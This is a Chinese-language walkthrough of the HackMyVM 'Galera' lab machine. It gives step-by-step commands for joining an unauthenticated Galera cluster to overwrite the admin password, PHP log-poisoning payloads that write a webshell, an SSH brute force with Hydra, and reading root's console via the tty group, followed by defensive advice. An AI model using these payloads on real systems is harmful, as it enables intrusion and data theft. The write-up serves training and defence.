跳到主要内容

HackMyVM Galera 靶机|Galera 集群渗透、PHP Log Poisoning 与 tty 组提权

靶机链接:Galera


0x01 基本信息

名称IP
Kali Linux192.168.1.113
Galera192.168.1.188

攻击流程

点击展开

攻击链摘要

阶段关键操作作用
服务发现4567/tcp 识别为 Galera gcomm确定核心攻击面 — 集群复制端口
集群加入Docker 部署 MariaDB + Galera-4,加入目标集群数据库完全同步,获取 galeradb
凭证操控Galera 写回 admin 密码 bcrypt 哈希绕过 Web 登录,无需爆破
初始代码执行$_GET[1] 两步法 → file_put_contents 写 webshell → include()PHP 代码执行 (www-data)
本地枚举tty 组 → /dev/vcs20 → 读取 root 屏幕发现 root 密码 saG58zJxs8crgQa366Uw
结果获取读取两枚 flag完成靶机目标

0x02 侦察与信息收集 (Reconnaissance)

1. RustScan 联动 Nmap

rustscan -a 192.168.1.188 --range 1-65535 --ulimit 5000 -- -sV -sC -O -oN nmap-scan.txt

结果:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
80/tcp open http Apache httpd 2.4.62 ((Debian))
4567/tcp open tram? (unknown binary protocol)
MAC Address: 08:00:27:CB:59:41 (Oracle VirtualBox virtual NIC)
OS: Linux 4.15 - 5.19 (Debian-based)
Hostname: galera.lan

2. 端口 4567 协议识别

端口 4567 指纹为未知二进制协议,返回 44 字节固定格式数据。结合以下特征识别为 MariaDB Galera Cluster gcomm 复制协议

  • 响应数据包含节点 UUID 17e177d5-b1cb
  • Galera 标准端口:4567 (gcomm), 4568 (IST), 4444 (SST)
  • 目标主机名为 galera.lan

验证方式:使用 garbd (Galera Arbitrator) 连接确认:

sudo garbd -a gcomm://192.168.1.188:4567 -g galera_cluster -d

日志输出:

gcomm: connecting to group 'galera_cluster', peer '192.168.1.188:4567'
EVS version upgrade 0 -> 1
PC protocol upgrade 0 -> 1

0x03 Web 应用分析

1. 目录枚举

gobuster dir -u http://192.168.1.188 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt

发现端点:

路径状态说明
/200登录页面 (index.php)
/login.php302登录处理 (POST)
/info.php200PHP phpinfo()关键信息泄露
/upload/301文件上传目录 (空 listing)
/private.php403需认证后方可访问
/config.php200空响应 — 仅设置常量和 session

2. phpinfo 关键信息

curl -s http://192.168.1.188/info.php | grep -iE 'disable_function|DOCUMENT_ROOT|Server API'
配置项
PHP 版本8.2.28
Server APIApache 2.0 Handler (mod_php)
DOCUMENT_ROOT/var/www/html
disable_functions39 个函数被禁用
mysqli / PDO已启用 (mysqlnd 8.2.28)
open_basedir未设置
ffi.enablepreload (受限)
sendmail_path/usr/sbin/sendmail -t -i (但 binary 不存在)

核心 disable_functions 列表:

exec, shell_exec, system, passthru, proc_open, proc_close, proc_terminate,
popen, pcntl_exec, pcntl_fork, pcntl_wait, pcntl_signal, dl, eval, assert,
create_function, include, include_once, require_once, show_source,
highlight_file, fopen, file, readfile, file_get_contents, fileperms,
chmod, chown, chgrp, symlink, link, mail, curl_exec, curl_multi_exec,
socket_create, socket_connect, socket_send, socket_recv, stream_socket_client

未被禁用的关键函数: scandir, SplFileObject, file_put_contents, fwrite, error_log, putenv, call_user_func, ReflectionFunction, fsockopen


0x04 核心攻击链:Galera 集群 → Root

第一阶段:Galera 集群加入 (Initial Access via Database)

Galera Cluster 端口 4567 (gcomm) 对外开放,且目标未配置 SST 认证 (wsrep_sst_auth 为空),允许非授权节点加入。

1. Docker 部署 MariaDB + Galera(高可复现):

完整 Docker 加入节点附件包见文末 附件:Galera Docker 加入节点。附件包包含 Dockerfiledocker-compose.ymlentrypoint.shgalera.cnf,核心配置如下:

# galera.cnf
[mysqld]
wsrep_on = ON
wsrep_provider = /usr/lib/galera/libgalera_smm.so
wsrep_cluster_address = gcomm://192.168.1.188:4567
wsrep_node_address = 192.168.1.113
wsrep_node_name = docker_joiner
wsrep_sst_method = rsync
wsrep_sst_auth = root:
wsrep_slave_threads = 4
binlog_format = ROW
default_storage_engine = InnoDB
innodb_autoinc_lock_mode = 2
innodb_flush_log_at_trx_commit = 0
bind-address = 0.0.0.0
cd galera-docker-attach/
docker compose build
docker compose up -d
docker compose logs -f # 等待 State transfer complete

2. 验证同步并获取用户表:

docker exec galera_joiner mysql -e "
SHOW STATUS LIKE 'wsrep_cluster_size'; -- 2
SHOW STATUS LIKE 'wsrep_local_state_comment'; -- Synced
SELECT * FROM galeradb.users;
"
idusernameemailpasswordcreated_at
1adminadmin@galera.hmv$2y$10$BCAQ6VSNOL9TzfE5/dnVmuc9R5PotwClWAHwRdRAt7RM0d9miJRzq2025-05-05

3. 生成新密码哈希并写回:

由于目标站点的登录逻辑使用 PHP 的 password_verify 进行验证,我们需要生成一个 cost 为 12 的 bcrypt 哈希。

在本地或 Kali 上,可以使用 PHP 命令快速生成(以密码 hacker123 为例):

php -r "echo password_hash('hacker123', PASSWORD_BCRYPT, ['cost' => 12]) . PHP_EOL;"

生成结果类似:

$2y$12$hWscbxyIn9Vuv7qFOBrAd.FEPe8II9l9c3gUcusYWSPLkboqMz6/.

接着,通过 Galera 节点将生成的新密码哈希写回数据库(注意在 Bash 命令中对 $ 符号进行转义):

docker exec galera_joiner mysql -e "
UPDATE users SET password='\$2y\$12\$hWscbxyIn9Vuv7qFOBrAd.FEPe8II9l9c3gUcusYWSPLkboqMz6/.' WHERE username='admin';
"

Galera DML 写回集实时复制到目标节点,密码瞬间生效。

第二阶段:Web 登录与 Log Poisoning RCE

1. 登录获取 session:

TOKEN=$(curl -s -b /tmp/cookie.txt http://192.168.1.188/ | grep -oP 'name="token" value="[^"]*"' | tr -d '"')
curl -s -b /tmp/cookie.txt -c /tmp/cookie.txt \
-d "user=admin&pass=hacker123&token=$TOKEN" \
http://192.168.1.188/login.php

登录成功,重定向至 private.php

2. Log Poisoning 实现 PHP 代码执行:

private.php 关键代码:

// 消息写入 — 无任何过滤!
$entry = '<strong>'.$_SESSION['email'] . ' says:</strong><br>' . $_POST['message'] . "\n";
file_put_contents($logFile, $entry, FILE_APPEND);

// 文件包含 — 触发 PHP 执行
if (isset($_GET['view']) && $_GET['view'] === '1') {
include $logFile; // include '/var/www/html/messages.log'
}

攻击路径: Session email 来源于数据库,Galera 同步后可控。将 email 字段写入 PHP payload → 发布消息 → ?view=1 触发 include → PHP 代码被执行。

设计要点:

  • emailVARCHAR(100) 限制,payload 必须 ≤100 字符;全路径 SplFileObject ~110 字符无法直接存入
  • 推荐两步法:短 payload 写"文件写入器" → $_GET[1](数字 key,免引号)传入完整 webshell

第一步 — 注入迷你写入器(69 字符):

-- $_GET[1] 用数字索引,免引号
UPDATE users SET email='A<?php file_put_contents("/var/www/html/upload/s.php",$_GET[1]);?>B@x' WHERE username='admin';

第二步 — 重新登录、发消息、用 ?view=1&1=URL_ENCODED_CODE 传入完整 webshell:

# 获取 token & 登录
TOKEN=$(curl -s -c /tmp/cookie.txt http://192.168.1.188/ | grep -oP 'name="token" value="\K[^"]+')
curl -s -c /tmp/cookie.txt -b /tmp/cookie.txt -L -X POST http://192.168.1.188/login.php -d "user=admin&pass=hacker123&token=$TOKEN"

# 发消息(触发 email → messages.log)
curl -s -b /tmp/cookie.txt -X POST http://192.168.1.188/private.php -d "message=GO"

# 将 webshell 代码 URL 编码后通过 $_GET[1] 传入,写入 s.php
curl -s -b /tmp/cookie.txt "http://192.168.1.188/private.php?view=1&1=%3C%3Fphp%20echo%2099%3B%3F%3E"

# 验证 webshell
curl http://192.168.1.188/upload/s.php # 输出: 99

第三步 — 写任意文件读取器(路径含引号时用 chr() 拼接避免转义问题):

# 读取 /etc/passwd:路径无特殊字符直接用引号
curl -s -b /tmp/cookie.txt "http://192.168.1.188/private.php?view=1&1=%3C%3Fphp%20%24f%3Dnew%20SplFileObject(%27%2Fetc%2Fpasswd%27)%3Bforeach(%24f%20as%24l)echo%24l%3B%3F%3E"

# 读取 config.php(路径含 /var/www/html,可用变量赋值缩短 URL)
curl -s -b /tmp/cookie.txt "http://192.168.1.188/private.php?view=1&1=%3C%3Fphp%20%24f%3Dnew%20SplFileObject(%27%2Fvar%2Fwww%2Fhtml%2Fconfig.php%27)%3Bforeach(%24f%20as%24l)echo%24l%3B%3F%3E"

3. Galera 集群成员确认:

SELECT * FROM mysql.wsrep_cluster_members;
node_uuidcluster_uuidnode_namenode_incoming_address
17e177d5-...a050fe61-...node1AUTO
1c3ae27d-...a050fe61-...kali_joiner192.168.1.113:3306

两节点集群,同步状态正常。

第三阶段:数据库凭证发现与 SSH 初始访问

1. 读取 PHP 源码获取数据库凭证:

UPDATE users SET email='<?php foreach(new SplFileObject("/var/www/html/config.php")as$l)echo$l;?>@x' WHERE username='admin';
// config.php 片段
$host = 'localhost';
$db = 'galeradb';
$user = 'galeradbusr';
$pass = '8d7F4TnHRYQaGDjvwUpt';

2. 读取 create_admin.php 发现原始密码:

$pass_plain = 'SgvKp417lLE1XH8NLfJ3'; // 初始 admin 密码

3. SSH 爆破获取用户访问:

# 通过 /etc/passwd 确认可登录用户
curl -s -b /tmp/cookie.txt 'http://192.168.1.188/private.php?view=1'
# root:x:0:0:root:/root:/bin/bash
# donjuandeaustria:x:1000:1000:donjuandeaustria,,,:/home/donjuandeaustria:/bin/bash

# Hydra 爆破
hydra -l donjuandeaustria -P /usr/share/wordlists/rockyou.txt.gz \
192.168.1.188 ssh -t 8 -I -o hydra-results.txt
[22][ssh] host: 192.168.1.188 login: donjuandeaustria password: amorcito

凭据: donjuandeaustria : amorcito

第四阶段:User Flag 与本地权限枚举

1. SSH 登录与 User Flag:

sshpass -p 'amorcito' ssh donjuandeaustria@192.168.1.188
cat /home/donjuandeaustria/user.txt
# 072f9d8c26547db59e65d7aa3e55747b

2. 用户组权限分析:

id
# uid=1000(donjuandeaustria) gid=1000(donjuandeaustria)
# groups=1000(donjuandeaustria),5(tty),24(cdrom),25(floppy),29(audio),
# 30(dip),44(video),46(plugdev),100(users),106(netdev)
关键访问利用价值
tty (5)/dev/vcs* /dev/vcsa*可读虚拟控制台屏幕
video (44)/dev/fb0 /dev/dri/card0服务器无 GUI
audio (29)/dev/snd/*
cdrom (24)/dev/sr0

第五阶段:tty 组屏幕嗅探与 Root 提权

系统在 tty20 上以 root 自动登录 (/bin/login -f),bash 持续运行。tty 组成员可读取 /dev/vcs20(虚拟控制台文本缓冲区)。

# 读取 root 的 tty20 屏幕
cat /dev/vcs20 | tr "\000" " "

# 屏幕输出:
# ********************************************
# Welcome, System Administrator!
# ********************************************
#
# Reminder: your root password is 'saG58zJxs8crgQa366Uw'
#
# root@galera:~#

发现 root 密码: saG58zJxs8crgQa366Uw

该密码直接出现在 root 的 tty20 屏幕提示中。tty 组成员无需额外 exploit 即可读取虚拟控制台文本缓冲区;后续 su root 成功也验证了这组凭据有效。

使用泄露的 root 密码切换用户并读取最终 flag:

su root
cat /root/root.txt

输出:

6a0d424c13321ca6e3b2deb2295fcc26

0x05 最终成果 (Final Flags)

User Flag

  • 路径: /home/donjuandeaustria/user.txt
  • 内容: 072f9d8c26547db59e65d7aa3e55747b

Root Flag

  • 路径: /root/root.txt
  • 内容: 6a0d424c13321ca6e3b2deb2295fcc26

0x06 完整攻击链总结

攻击路径一览

端口扫描 → Galera 集群加入 → 数据库同步 → 修改 admin 密码
→ Web 登录 → PHP Log Poisoning → 代码执行 (www-data)
→ 源码审计 → MySQL 凭证发现 → SSH 爆破 → 用户 shell
→ tty 组屏幕嗅探 → root 密码泄露 → su root → root shell

关键凭证汇总

服务用户名密码获取方式
MySQLgaleradbusr8d7F4TnHRYQaGDjvwUptconfig.php 源码读取
Webadminhacker123Galera 写回修改
SSHdonjuandeaustriaamorcitoHydra + rockyou 爆破
RootrootsaG58zJxs8crgQa366Uwtty 组 /dev/vcs20 屏幕读取

关键知识点

  1. Galera 集群未授权加入: 端口 4567 (gcomm) 对外开放且 wsrep_sst_auth 为空时,攻击者可部署节点加入集群,通过 SST 同步完整数据库。防守侧应将 gcomm 端口限制在集群内网,配置 SST 认证。

  2. PHP Log Poisoning via Session Email: $_SESSION['email'] 来源于数据库且写入文件时无过滤,结合可控制的数据库同步,攻击者可注入任意 PHP 代码。修复方案:对 $_SESSION['email'] 使用 htmlspecialchars() 或避免将用户可控数据作为 PHP 代码的一部分执行。

  3. Galera 作为 C2 通道: 本场景中 Galera 不仅用于数据窃取,还实现了"数据库写回"——通过 DML 写回集修改 admin 密码,规避了 Web 端爆破检测。这是 CTF 中相对少见的双向利用手法。

  4. tty 组权限滥用: tty 组成员可读取 /dev/vcs* 虚拟控制台设备,直接获取其他用户终端屏幕内容。在 root 自动登录并显示密码提醒的场景下,这是一条无需任何 exploit 的"零噪声"提权路径。

  5. Rockyou 字典的实战地位: amorcito(西班牙语"小爱")是 rockyou.txt 中的真实泄露密码。对于 CTF 中的低权限用户爆破,Rockyou 字典仍然是最有效的第一次尝试。

防守视角

  • Galera 集群的 gcomm/SST 端口应通过防火墙限制在成员节点间通信,并启用 wsrep_sst_auth 强认证
  • Web 应用输出用户数据时应统一使用 htmlspecialchars(),避免 Log Poisoning
  • PHP disable_functions 应结合 open_basedirffi.enable=disabled 设置纵深防御
  • tty 组成员资格应严格控制,生产环境应将普通用户移出 tty 组

附件:Galera Docker 加入节点

以下 4 个文件组成一个最小 MariaDB Galera 加入节点,用于在 Kali 上加入目标 192.168.1.188:4567 并触发 SST 数据同步。

依赖关系

docker-compose.yml
└── build: .
├── Dockerfile
│ ├── COPY galera.cnf -> /etc/mysql/conf.d/galera.cnf
│ └── COPY entrypoint.sh -> /entrypoint.sh
└── entrypoint.sh
└── mariadbd --user=mysql --datadir=/var/lib/mysql

文件清单

编号文件作用关键点
G1Dockerfile基于 Debian 12 构建 MariaDB + Galera 镜像安装 mariadb-servergalera-4rsync,开放 3306/4444/4567/4568
G2docker-compose.yml启动加入节点容器使用 network_mode: host,挂载 ./mysql-data:/var/lib/mysql
G3entrypoint.sh初始化数据目录并启动 MariaDB首次运行执行 mariadb-install-db,随后启动 mariadbd
G4galera.cnfGalera 加入节点配置指向 gcomm://192.168.1.188:4567wsrep_sst_method=rsync

典型工作流

cd galera-docker-attach/
docker compose build
docker compose up -d
docker compose logs -f

docker exec galera_joiner mysql -e "
SHOW STATUS LIKE 'wsrep_cluster_size';
SHOW STATUS LIKE 'wsrep_local_state_comment';
SELECT * FROM galeradb.users;
"

如果 Kali IP 或目标 IP 变化,需要先修改 galera.cnf 中的 wsrep_node_addresswsrep_cluster_address